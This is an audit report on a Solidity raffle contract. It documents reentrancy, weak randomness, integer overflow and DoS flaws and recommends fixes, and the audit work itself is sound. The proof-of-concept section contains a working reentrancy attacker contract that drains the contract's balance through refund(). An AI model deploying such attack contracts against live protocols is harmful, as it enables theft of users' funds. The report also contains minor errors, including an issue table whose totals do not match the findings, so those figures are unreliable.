



Protocol Audit Report

BOUCHNAFA SAMI

January 2, 2024

Puppy Raffle Audit Report

BOUCHNAFA SAMI

JANUARY 2, 2024

Puppy Raffle Audit Report

Prepared by: BOUCHNAFA SAMI Lead Auditor:

- BOUCHNAFA SAMI

Assisting Auditors:

- None

Table of contents

See table

- Puppy Raffle Audit Report
- Table of contents
- About me
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles
- Executive Summary

- Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrants to steal the contract's balance
 - * [H-2] weak randomness in the `PuppyRaffle::selectWinner` function permits anyone to influence the selection of the winner.
 - * [H-3] The `PuppyRaffle::totalFees` is susceptible to integer overflow, leading to the loss of fees.
 - * [H-4] Malicious winner can halt the raffle forever
 - Medium
 - * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants .
 - * [M-2] The balance check in `PuppyRaffle::withdrawFees` provides an avenue for griefers to exploit the selfdestruct function. This allows them to direct ETH to the raffle, subsequently obstructing withdrawals.
 - * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
 - * [M-4] Smart Contract Wallet Raffle Winners Blocking New Contest Start
 - Informational / Non-Critical
 - * [I-1] Pragma Versioning
 - * [I-2] Magic Numbers
 - * [I-3] Test Coverage
 - * [I-4] Zero Address Validation
 - * [I-5] Unused Function `_isActivePlayer`
 - * [I-6] Unchanged Variables Should Be Constant or Immutable
 - * [I-7] Potentially Erroneous Active Player Index
 - * [I-8] Zero Address May Be Erroneously Considered an Active Player
 - Gas (Optional)

About me

I am a highly passionate individual deeply invested in the realms of cybersecurity and blockchain. As a dedicated security researcher, my focus lies specifically in the intricate landscape of smart contracts. Beyond my research endeavors, I am enthusiastic about knowledge sharing and education. I channel

this passion by crafting insightful articles on cybersecurity and blockchain topics, which I proudly publish on Medium. here is the link of my Medium page : [Medium page](#)

Disclaimer

I dedicated significant effort to uncover various vulnerabilities in the code within the specified time frame. However, it’s important to note that the findings presented in this document do not imply any responsibility on my part. A security audit should not be interpreted as a validation or endorsement of the underlying business or product. It’s essential to acknowledge that the audit was conducted within a specific time limit, focusing exclusively on assessing the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/
2 -- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol designed for raffling puppy NFTs of different rarities. A part of the entry fees goes to the winner, and a fee is collected by another address chosen by the protocol owner.

Roles

_ Owner: The sole individual with the authority to modify the feeAddress, identified by the *owner variable*. Fee User: The user receiving a portion of the raffle entrance fees, determined by the feeAddress variable. _ Raffle Entrant: Any individual participating in the raffle, recognized by being part of the players array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	8
Total	0

Findings

High

[H-1] Reentrancy attack in PuppyRaffle : : refund allow entrants to steal the contract's balance

Description:

The `PuppyRaffle::refund` function deviates from CEI (checks, effects, interactions), allowing participants to drain the entire contract balance. Specifically, in the `PuppyRaffle::refund` function, an external call is made to the `msg.sender` address and the update to the `PuppyRaffle::players` array occurs only after this external call is made.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
4         player can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player
6         already refunded, or is not active");
7     @> payable(msg.sender).sendValue(entranceFee);
8     @> players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

A participant entering the raffle might include malicious code in their `fallback()/receive` function, enabling them to repeatedly call the `PuppyRaffle::refund` function and claim additional refunds. This cycle could persist until the contract balance is completely depleted.

Impact:

The malicious participant has the potential to steal all fees paid by other raffle entrants.

Proof of Concept:

Here is a contract that resembles the behavior of a malicious participant. In this contract, both the `fallback()` and `receive()` functions invoke the `stealMoney()` function. This function, in turn, reenters the `PuppyRaffle::refund` function, creating a cycle that persists until the contract's balance is completely drained. Please include this contract in the `PuppyRaffleTest.t.sol` file.

```
1 contract Reentrancy {
2     PuppyRaffle target;
3     uint entranceFee;
4     uint256 myIndex;
5     constructor (PuppyRaffle _target) {
6         target = _target;
7         entranceFee = target.entranceFee();
8     }
9
10
11     function attack() payable public {
12         address[] memory players = new address[](1);
13         players[0]=address(this); //players = ["address of this
14             contract"]
15         target.enterRaffle{value :entranceFee}(players);
16         myIndex = target.getActivePlayerIndex(address(this));
17         target.refund(myIndex);
18     }
```

```
18
19     function _stealMoney() internal {
20         if (address(target).balance >= entranceFee ) {
21             target.refund(myIndex) ;
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Add a test function in the `PuppyRaffleTest.t.sol` file to verify the described behavior. .

```
1     function test_Reentrancy_Refund() public {
2
3         address[] memory players = new address[](3);
4         players[0] = playerOne;
5         players[1] = playerTwo;
6         players[2] = address(3);
7         puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
8
9         Reentrancy hacker_ca = new Reentrancy(puppyRaffle);
10        address hacker = makeAddr("hacker");
11        vm.deal(hacker, 1 ether);
12
13        uint256 hacker_ca_balance_t0 = payable(address(hacker_ca)).
            balance;
14        uint256 puppy_balance_t0 = payable(address(puppyRaffle)).
            balance;
15
16        vm.prank(hacker);
17        hacker_ca.attack{value : entranceFee}();
18
19        console.log("Starting balance of hacker " ,
            hacker_ca_balance_t0 );
20        console.log("Starting balance of puppy contract " ,
            puppy_balance_t0 );
21
22        console.log("ending balance of hacker " ,address(hacker_ca).
            balance );
23        console.log("ending balance of puppy contract " ,address(
            puppyRaffle).balance );
24
25
26
27
```

```
28  
29 }
```

Execute the test using the following command:

```
1 forge test --mt test_Reentrancy_Refund -vvv
```

Recommended Mitigation:

In the `PuppyRaffle::refund` function, it is advisable to adjust the logic by updating the `players` array before initiating the external call. Additionally, consider moving the event emission up in the function.

```
1 function refund(uint256 playerIndex) public {  
2     address playerAddress = players[playerIndex];  
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the  
4         player can refund");  
5     require(playerAddress != address(0), "PuppyRaffle: Player  
6         already refunded, or is not active");  
7     + players[playerIndex] = address(0);  
8     + emit RaffleRefunded(playerAddress);  
9  
10    payable(msg.sender).sendValue(entranceFee);  
11    - players[playerIndex] = address(0);  
12    - emit RaffleRefunded(playerAddress);  
13 }
```

[H-2] weak randomness in the `PuppyRaffle::selectWinner` function permits anyone to influence the selection of the winner.

Description:

Combining `msg.sender`, `block.timestamp`, and `block.difficulty` in a hash results in a predictable final number. Predictable numbers are not ideal for randomness. Malicious users can manipulate or pre-determine these values, allowing them to choose the raffle winner themselves.

Impact:

Any user has the capability to select the winner of the raffle, securing the funds and determining the “rarest” puppy. This essentially results in all puppies having the same rarity, as users can manipulate the selection of the chosen puppy.

Proof of Concept:

Several attack vectors are present in this scenario.

1. Validators may be able to predict `block.timestamp` and `block.difficulty` in advance, using this knowledge to anticipate when/how to participate. The Solidity blog on `prevrando` provides insights, and it's worth noting that `block.difficulty` has recently been replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to influence their index, increasing their chances of becoming the winner.

Using on-chain values as a seed for randomness is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

You might want to contemplate integrating an oracle for randomness, such as Chainlink VRF. This could enhance the unpredictability and security of your random number generation in the contract.

[H-3] The `PuppyRaffle::totalFees` is susceptible to integer overflow, leading to the loss of fees.

Description:

Before Solidity version 0.8.0, integers were vulnerable to integer overflows.

```
1 uint64 Variable = type(uint64).max;
2 // Variable will be 18446744073709551615
3 Variable += 1;
4 // myVar will be 0 (cycled)
```

Impact:

Certainly, here's a rephrased version:

1. Let's say we complete a raffle involving 4 players to collect some fees.
2. Subsequently, we have 89 more players participate in a new raffle, and we conclude that one as well.
3. The computation for `totalFees` is as follows:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the updated value is now
5 totalFees = 153255926290448384;
```

4. Unfortunately, you won't be able to withdraw due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
  There are currently active players!");
```

This is because, evidently, the contract's balance differs from the `totalFees`. While using `selfdestruct` could align the values for withdrawal, it clearly goes against the intended protocol behavior.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {  
2     // We finish a raffle of 4 to collect some fees  
3     vm.warp(block.timestamp + duration + 1);  
4     vm.roll(block.number + 1);  
5     puppyRaffle.selectWinner();  
6     uint256 startingTotalFees = puppyRaffle.totalFees();  
7     // startingTotalFees = 8000000000000000000  
8  
9     // We then have 89 players enter a new raffle  
10    uint256 playersNum = 89;  
11    address[] memory players = new address[](playersNum);  
12    for (uint256 i = 0; i < playersNum; i++) {  
13        players[i] = address(i);  
14    }  
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(  
16        players);  
17    // We end the raffle  
18    vm.warp(block.timestamp + duration + 1);  
19    vm.roll(block.number + 1);  
20  
21    // And here is where the issue occurs  
22    // We will now have fewer fees even though we just finished a  
23    // second raffle  
24    puppyRaffle.selectWinner();  
25  
26    uint256 endingTotalFees = puppyRaffle.totalFees();  
27    console.log("ending total fees", endingTotalFees);  
28    assert(endingTotalFees < startingTotalFees);  
29  
30    // We are also unable to withdraw any fees because of the  
31    // require check  
32    vm.prank(puppyRaffle.feeAddress());  
33    vm.expectRevert("PuppyRaffle: There are currently players  
34        active!");  
35    puppyRaffle.withdrawFees();  
36 }
```

Recommended Mitigation:

Here are some suggested mitigations:

1. Consider updating to a newer version of Solidity that inherently prevents integer overflows.

```
1 - pragma solidity ^0.7.6;  
2 + pragma solidity ^0.8.18;
```

Alternatively, if you opt to use an older Solidity version, implement a library like OpenZeppelin's [SafeMath](#) to safeguard against integer overflows.

2. Utilize a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;  
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`.

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    There are currently active players!");
```

It's crucial to note an additional attack vector arising from this line, which will be addressed in a future finding.

[H-4] Malicious winner can halt the raffle forever

Description:

After the winner is determined, the `selectWinner` function transfers the prize to the respective address using an external call to the winner's account:

```
1 (bool success,) = winner.call{value: prizePool}("");  
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

However, if the `winner` account is a smart contract lacking a payable `fallback` or `receive` function, or these functions exist but revert, the external call mentioned above will fail, resulting in the `selectWinner` function's termination. Consequently, the prize remains undistributed, and the raffle cannot initiate a new round.

An additional attack vector involves exploiting the fact that the `selectWinner` function, which mints an NFT to the winner, utilizes the `_safeMint` function inherited from the `ERC721` contract. This function attempts to invoke the `onERC721Received` hook on the receiver in the case of a smart contract. However, if the receiver does not implement this function, the call reverts.

Hence, an attacker can enter a smart contract into the raffle lacking the expected `onERC721Received` hook. This prevents NFT minting, leading to the reversal of the `selectWinner` call and effectively halting the raffle.

Impact:

the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testSelectWinnerDoS() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     address[] memory players = new address[](4);
6     players[0] = address(new hacker());
7     players[1] = address(new hacker());
8     players[2] = address(new hacker());
9     players[3] = address(new hacker());
10    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12    vm.expectRevert();
13    puppyRaffle.selectWinner();
14 }
```

the `hacker` can be this:

```
1 contract hacker {
2     // Implements a `receive` function that reverts
3     receive() external payable {
4         revert();
5     }
6 }
```

Or this:

```
1 contract hacker {
2     // Implements a `receive` function to accept the prize but lacks the
3     // implementation of the `onERC721Received` hook to receive the NFT.
4     receive() external payable {}
5 }
```

Recommended Mitigation:

Prefer pull-payments over push-payments. To achieve this, consider adjusting the `selectWinner` function so that the winner account needs to claim the prize by making a function call, as opposed to having the contract automatically sending the funds during the execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants .

Description:

The `enterRaffle` function is susceptible to a Denial of Service (DoS) attack because of an inefficient duplicate-checking mechanism. As the array size expands, each new player introduces additional checks, leading to an increase in gas costs proportional to the number of players participating in the raffle.

Impact:

This vulnerability has the potential to cause a notable surge in gas consumption, which could lead to a Denial of Service (DoS) scenario.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle : the gas cost for the first set : 6252039 gas the gas cost for the first set : 18068129 gas* (This is more tha x3 more than the first)

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function testDos() public {
2      vm.txGasPrice(1);
3
4      address[] memory players = new address[](100);
5      for (uint i=0 ; i < 100 ; i++) {
6          players[i] = address(uint160(i));
7      }
8
9      uint gasStart = gasleft();
10     puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
11     uint gasEnd = gasleft();
12     uint gasUsed = gasStart - gasEnd;
13     console.log("gas Usedin the first hand is :", gasUsed);
14
15
16     address[] memory players2 = new address[](100);
17     for (uint i=0 ; i < 100 ; i++) {
18         players2[i] = address(uint160(i+100));
19     }
20
21     uint gasStart2 = gasleft();
22     puppyRaffle.enterRaffle{value: entranceFee * 100}(players2);
23     uint gasEnd2 = gasleft();
```

```
24     uint gasUsed2 = gasStart2 - gasEnd2;
25     console.log("gas Used in hte second hand is :", gasUsed2);
26
27
28
29
30 }
```

Run the test using this command :

```
1 forge test --mt testDos -vv
```

Recommended Mitigation:

There are few recommendations : 1. Consider allowing duplicates . Users can make multiple wallets anyway , restricting duplicates doesn't prevent someone from entering more than a time . 2. Consider using a mapping to check for duplicates

[M-2] The balance check in `PuppyRaffle::withdrawFees` provides an avenue for griefers to exploit the `selfdestruct` function. This allows them to direct ETH to the raffle, subsequently obstructing withdrawals.

Description:

The `PuppyRaffle::withdrawFees` function verifies that `totalFees` matches the ETH balance of the contract (`address(this).balance`). While it might seem improbable due to the absence of a `payable` fallback or `receive` function, a user has the potential to use `selfdestruct` on a contract containing ETH. This action forces the funds into the `PuppyRaffle` contract, consequently circumventing the integrity of this check.

```
1     function withdrawFees() external {
2     @>         require(address(this).balance == uint256(totalFees), "
PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

Impact:

This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 3 ether in it's balance, and 3 ether `totalFees`.

2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees**Description:**

In `PuppyRaffle::selectWinner`, there is a type cast from `uint256` to `uint64`. This is considered an unsafe cast, and if the `uint256` value exceeds `type(uint64).max`, the value will be truncated during the conversion.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
    );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
    sender, block.timestamp, block.difficulty))) % players.
    length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9 @>         totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The maximum value of a `uint64` is 18446744073709551615, which equates to approximately ~18 ETH. Consequently, if the fees collected surpass 18 ETH, the casting of `fee` in the `selectWinner` function will truncate the value.

Impact:

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation:

Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and eliminate the casting. A comment suggests:

```
1 // We do some storage packing to save gas
```

However, the potential gas savings are outweighed by the need to recast, considering the presence of this bug.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```


[M-4] Smart Contract Wallet Raffle Winners Blocking New Contest Start**Description:**

The `PuppyRaffle::selectWinner` function, responsible for resetting the lottery, encounters issues if the winner is a smart contract wallet rejecting payment. This scenario obstructs the restart of the lottery.

Impact:

The function may revert multiple times, impeding the lottery reset and hindering the commencement of a new one. Additionally, authentic winners might be unable to receive their payouts, allowing someone else to claim their winnings.

Proof of Concept:

1. 10 smart contract wallets without a fallback or receive function enter the lottery.
2. The lottery concludes.
3. The `selectWinner` function encounters difficulties, despite the lottery completion.

Recommended Mitigation:

1. Avoid smart contract wallet entrants (not recommended).
2. Implement a mapping of addresses to payouts, allowing winners to claim their prizes, placing the responsibility on the winners for payout retrieval (recommended).

Informational / Non-Critical**[I-1] Pragma Versioning****Description:**

Contracts should use strict versions of Solidity. Locking the version ensures that contracts are not deployed with a different version of Solidity than they were tested with. An incorrect version could lead to unintended results.

SWC-103

Recommended Mitigation:

Specify a fixed pragma version.

```
1 - pragma solidity ^0.7.6;  
2 + pragma solidity 0.7.6;
```

[I-2] Magic Numbers**Description:**

Replace all number literals with constants to enhance code readability and maintainability. Numbers without context are referred to as “magic numbers.”

Recommended Mitigation:

Replace magic numbers with constants.

```

1 +      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 +      uint256 public constant FEE_PERCENTAGE = 20;
3 +      uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 -      uint256 prizePool = (totalAmountCollected * 80) / 100;
8 -      uint256 fee = (totalAmountCollected * 20) / 100;
9      uint256 prizePool = (totalAmountCollected *
      PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
      TOTAL_PERCENTAGE;

```

[I-3] Test Coverage**Description:**

Test coverage is below 90%, especially in the **Branches** column.

1	File	% Lines	% Statements
2	% Branches % Funcs		
3	-----	-----	-----
4	----- -----		
3	script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)
4	src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)
5	test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)
6	Total	80.60% (54/67)	81.52% (75/92)
	65.62% (21/32) 75.00% (9/12)		

Recommended Mitigation:

Increase test coverage to 90% or higher, particularly for the **Branches** column.

[I-4] Zero Address Validation

Description:

The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address, allowing fees to be lost.

```
1 PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/  
  PuppyRaffle.sol#57) lacks a zero-check on :  
2     - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)  
3 PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.  
  sol#165) lacks a zero-check on :  
4     - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation:

Add a zero address check when updating the `feeAddress`.

[I-5] Unused Function `_isActivePlayer`

Description:

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {  
2 -         for (uint256 i = 0; i < players.length; i++) {  
3 -             if (players[i] == msg.sender) {  
4 -                 return true;  
5 -             }  
6 -         }  
7 -         return false;  
8 -     }
```

[I-6] Unchanged Variables Should Be Constant or Immutable

Constant Instances:

```
1 PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant  
2 PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be  
  constant  
3 PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially Erroneous Active Player Index

Description:

The `getActivePlayerIndex` function could return zero for an active address stored in the first slot of the `players` array. This may cause confusion for users querying the function to obtain the index of an active player

.

Recommended Mitigation:

Return a sufficiently high number (e.g., $2^{256}-1$) to signal that the given player is inactive, avoiding collision with indices of active players.

[I-8] Zero Address May Be Erroneously Considered an Active Player

Description:

The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. However, the `getActivePlayerIndex` function does not skip zero addresses when iterating the `players` array, potentially leading to erroneous considerations.

Recommended Mitigation:

Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Additionally, prevent the zero address from being registered as a valid player in the `enterRaffle` function.

Gas (Optional)

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with `withdrawFees`
- Randomness for rarity issue
- Reentrancy in `PuppyRaffle` before `safeMint` (it looks okay actually, potentially informational)